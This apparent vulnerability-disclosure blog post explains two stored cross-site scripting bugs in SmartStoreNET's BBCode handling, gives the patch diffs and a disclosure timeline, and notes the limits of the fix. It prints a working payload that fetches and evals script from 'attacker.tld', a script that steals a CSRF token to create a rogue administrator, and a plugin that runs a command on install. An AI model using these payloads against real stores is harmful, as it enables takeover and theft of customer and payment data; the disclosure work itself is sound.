Blog post

SmartStoreNET - Malicious Message leading to E-Commerce Takeover

Thomas Chauchefoin photo

Thomas Chauchefoin

Vulnerability Researcher

Date

  • Security
Check out the details of a Cross-Site Scripting bug in the BBCode processing in SmartStoreNET and how it can be chained into arbitrary code execution!

SmartStoreNET is the leading open-source e-commerce platform for .NET, which makes it suitable for companies running Windows Server. Next to the operation of an online business, it offers advanced features, such as CRM tools, a blog and a forum. As a result, a SmartStoreNET instance handles highly sensitive data such as credit card, financial and personally identifiable information that have to be protected from attackers. 


During recent security research, we discovered two vulnerabilities that could allow attackers to gain control of the server where SmartStoreNET is installed by sending one malicious message to the instance's administrator. In this article, we present the root cause analysis of two Cross-Site Scripting bugs, and then describe how they could be exploited by attackers. Finally, we will describe the patches applied by the maintainers and the limitations of those patches.

Impact


Our findings, CVE-2021-32607 and CVE-2021-32608, impact the latest release of SmartStoreNET, 4.1.1. The maintainers released security patches as commits on GitHub. However, they decided not to release a new version with the patches; you have to build the project yourself to secure your instance. These are Cross-Site Scripting vulnerabilities that allow attackers to perform actions with the victim’s set of privileges without their knowledge. A successful attack against an administrator can lead to the compromise of the e-commerce store and the interception of financial transactions and personal data.


Their exploitation requires a victim to read either a malicious forum post or private message, specially crafted by the attacker. The following video shows all the necessary steps—note that the attack could be fully automated and the manual actions you see in the video are there to make it easier to understand:


Technical details


In this section, we describe both the root cause of the Cross-Site Scripting vulnerabilities we identified, and how they can be leveraged to gain Arbitrary Code Execution by targeting an administrator.


The high-level idea behind these bugs is that developers correctly sanitize user-controlled data, but later apply further processing steps, thus voiding the security guarantees of the first sanitization pass, with potentially dangerous results. Simon Scannell, a member of the SonarSource R&D team, presented this code pattern at Hacktivity 2021.

Stored Cross-Site Scripting (CVE-2021-32607, CVE-2021-32608)


SmartStore comes with a public forum where all registered members can exchange posts and private messages. In these texts, users can use basic BBcode markup to add limited styling to their messages. The BBcode is translated by SmartStore.Core.Html.BBCodeHelper (src/Libraries/SmartStore.Core/Html/BBCodeHelper.cs) using regular expressions. For instance, this helper is called in SmartStore.Services.Forums.ForumExtensions (src/Libraries/SmartStore.Services/Forums/ForumExtensions.cs), after processing a user message:


public static string FormatPrivateMessageText(this PrivateMessage message)
{
   // [...]
   var text = message.Text;
   // [...]
   text = HtmlUtils.ConvertPlainTextToHtml(text.HtmlEncode());
   return BBCodeHelper.ToHtml(text);
}


The call to HtmlEncode() is only a wrapper around System.Web.HttpUtility.HtmlEncode(). The intent is to encode dangerous characters to their equivalent HTML entities to prevent parts of user messages from being interpreted as HTML tags. For example, < will be encoded as &lt;.   HtmlUtils.ConvertPlainTextToHtml() is not tasked with any security-sensitive operations; it only replaces spaces and new lines to keep formatting intact. 


Notice  that during the BBCode processing, the tags with arguments ([url=...][/url], at [1]) will be processed before the ones without arguments ([url][/url], at [2]):


private static readonly Regex regexUrl1 = new Regex(@"\[url\=([^\]]+)\]([^\]]+)\[/url\]", RegexOptions.Compiled | RegexOptions.IgnoreCase);
private static readonly Regex regexUrl2 = new Regex(@"\[url\](.+?)\[/url\]", RegexOptions.Compiled | RegexOptions.IgnoreCase);
// [...]
if (replaceUrl)
{
   // format the url tags: [url=http://www.smartstore.com]my site[/url]
   // becomes: <a href="http://www.smartstore.com">my site</a>
   text = regexUrl1.Replace(text, "<a href=\"$1\" rel=\"nofollow\">$2</a>"); // [1]
 
   // format the url tags: [url]http://www.smartstore.com[/url]
   // becomes: <a href="http://www.smartstore.com">http://www.smartstore.com</a>
   text = regexUrl2.Replace(text, "<a href=\"$1\" rel=\"nofollow\">$1</a>"); // [2]
}


While users can’t use quotes to escape the href attribute because of prior encoding steps, using an URL tag with arguments within an URL tag without arguments will have an unexpected result. The following drawing shows the transformation of a message containing tangled [url] BBCode tags:


User-controlled data goes through several stages of processing.


When applying the second replacement, the non-encoded quotes created by the first step will close the href attribute of the second regex pass. Once processed by the browser, the final DOM will look like this—notice the presence of new, user-controlled attributes in the first <a> tag:


DOM vizualisation.


This behavior is enough to add arbitrary attributes to the first <a> tag, leading to persistent Cross-Site Scripting through forum posts and private messages. This bug is a perfect example of the sanitize-then-transform pattern and is very similar to other bugs we discussed in our previous articles (Zimbra 8.8.15 - Webmail Compromise via EmailMyBB Remote Code Execution Chain ).

Crafting a Code Execution chain


Cross-Site Scripting vulnerabilities are very powerful, because they allow attackers to perform actions with the victim’s set of privileges. The persistent nature of these bugs makes it easier for the attacker to compel the victim's interaction: who wouldn’t read a private message on a platform they administer? 


We chose to demonstrate the potential impact of our findings by crafting a payload that would force the creation of a new administrator, as soon as the victim opens a private message and without further interaction. This malicious new user will then be able to use the plugins page to upload a malicious NuGet package (*.nupkg) on the server to execute arbitrary code.


The vulnerable BBCode parsing is performed on both private messages and forum posts. The following sections will focus on a scenario where only private messages are mentioned, but the exploitation process is similar for both.

Creating the Cross-Site Scripting payload


As previously demonstrated, we are limited to adding new attributes to an <a> tag and can’t create new ones because of the various encoding stages. This limit on the usable character set will also require a stager: a deliberately small payload that will fetch and execute a larger one. 


So, how can we make this payload fire as soon as the private message is rendered? We chose to use the fact that several CSS animations are implemented in the third-party library Font Awesome, which is already loaded by SmartStoreNET. By associating an animation to the <a> element we injected and creating an onwebkitanimationend attribute, it will be executed without user interaction. 


The final payload you can see in the video is the following:

[url] [url=style=animation-name:fa-spin; onwebkitanimationend=$.get(`http://attacker.tld/x.js`,function(_){eval(_)}) x=] [/url] [/url]


Then, automatically creating an administrator is a pure front-end development task: the attacker only needs to fetch the CSRF token and then perform the POST request to the endpoint /admin/customer/create


async function run()
{
   const customer_create_url = location.protocol + '//host.tld/admin/customer/create';
   let res = await fetch(customer_create_url, {credentials: 'include'});
   var parser = new DOMParser();
   var htmlDoc = parser.parseFromString(await res.text(), 'text/html');
   let csrf = htmlDoc.getElementsByName('__RequestVerificationToken');
   data = {
       save: 'save',
       __RequestVerificationToken: csrf[0].attributes.value.nodeValue,
       Id: 0,
       Username: 'evil_admin',
       Email: 'evil_admin@evil.tld',
       Password: 'evil_admin',
       Gender: 'M',
       FirstName: 'evil',
       LastName: 'evil',
       DateOfBirth: '5/1/2021',
       Company: 'evil',
       AdminComment: 'evil',
       SelectedCustomerRoleIds: 1,
       IsTaxExempt: false,
       Active: true,
       LoadedTabs: '#customer-edit-1'
   }
   let body = new URLSearchParams();
   Object.keys(data).map(k => body.append(k, data[k]));
   body.append('SelectedCustomerRoleIds', 3);
   let foo = await fetch(customer_create_url, {method: 'POST', body: body, credentials: 'include'});
}
 
run()


This payload can be hosted anywhere, as long the right CORS headers are present in the response. 

Executing arbitrary code


SmartStoreNET can be extended with both official and third-party plugins. There is no “official” store for them, and no mandatory code signing: users can craft malicious packages and upload them directly from the administration dashboard. 


SmartStoreNET's plugin interface.


In order to validate this idea and to try to emulate what attackers could realistically do, we crafted a SmartStoreNET plugin that would execute the command calc.exe during the install process. We then compiled it with the right .NET target and packaged it with SmartStoreNET’s tools.

using SmartStore.Core.Plugins;
// [...]
namespace SmartStore.Evil
{
   public class Evil : BasePlugin
   {
       // [...]
       public static string SystemName => "SmartStore.Evil";
       // [...]
       public override void Install()
       {
           System.Diagnostics.Process p = System.Diagnostics.Process.Start("calc.exe");
           p.WaitForInputIdle();
           base.Install();
       }
       // [...]
   }
}


As demonstrated at the end of the video, this grants attackers arbitrary code execution with the privileges of the user running IIS. 

Patch


SmartStoreNET mitigated the two vulnerabilities by introducing a new round of sanitization at the very end of the processing chain. It is performed by the third-party library mganss/HtmlSanitizer

  • CVE-2021-32607: the Message attribute of private messages is now sanitized (3db1fae3)


--- a/src/Presentation/SmartStore.Web/Views/PrivateMessages/View.cshtml
+++ b/src/Presentation/SmartStore.Web/Views/PrivateMessages/View.cshtml
@@ -1,5 +1,6 @@
@model PrivateMessageModel
@using SmartStore.Web.Models.PrivateMessages;
+@using SmartStore.Core.Html;
@{
    Layout = "_Layout";
    Html.AddTitleParts(T("PageTitle.ViewPM").Text);
@@ -28,7 +29,7 @@
            <div class="col-sm-9">
                <div class="card">
                    <div class="card-body" dir="auto">
-                        @Html.Raw(Model.Message)
+                        @Html.Raw(HtmlUtils.SanitizeHtml(Model.Message, true))
                    </div>
                </div>
            </div>
  • CVE-2021-32608: the FormattedText attribute of forum posts is now sanitized (e076c20f)


--- a/src/Presentation/SmartStore.Web/Views/Boards/Partials/_ForumPost.cshtml
+++ b/src/Presentation/SmartStore.Web/Views/Boards/Partials/_ForumPost.cshtml
@@ -1,4 +1,6 @@
@using SmartStore.Web.Models.Boards;
+@using SmartStore.Core.Html;
+
@model ForumPostModel
@Html.Raw("<a name=\"{0}\"></a>".FormatInvariant(Model.Id))
[...]
            <div class="post-body">
                <div class="posttext" dir="auto">
-                    @Html.Raw(Model.FormattedText)
+                    @Html.Raw(HtmlUtils.SanitizeHtml(Model.FormattedText))
                </div>
                @Html.Hidden("Id", Model.Id)
            </div>


It is interesting to note that the dangerous sanitize-then-transform pattern is still used. We were not able to identify other features that would be vulnerable, but future changes could easily re-introduce similar bugs.

Timeline


DateAction
2021-05-11We report both bugs to the vendor.
2021-05-12The vendor confirms the bugs, and releases patches on GitHub.
2021-08-21The vendor states that they do not plan to release a new version that would include fixes for our findings for now.

Summary


In this article, we described two Cross-Site Scripting bugs in SmartStoreNET 4.1.1 and how they could be turned into the execution of arbitrary code if an administrative user is targeted. We also explained how to exploit such bugs without user interaction by using code already loaded in the application. Finally, we described the mitigations implemented by the maintainers and their limitations.


We would like to thank the SmartStoreNET maintainers for their cooperation and very quick fixes. Since the vendor told us there is no planned release, we strongly advise administrators to build it from the source to benefit from the latest security fixes.

Related Blog Posts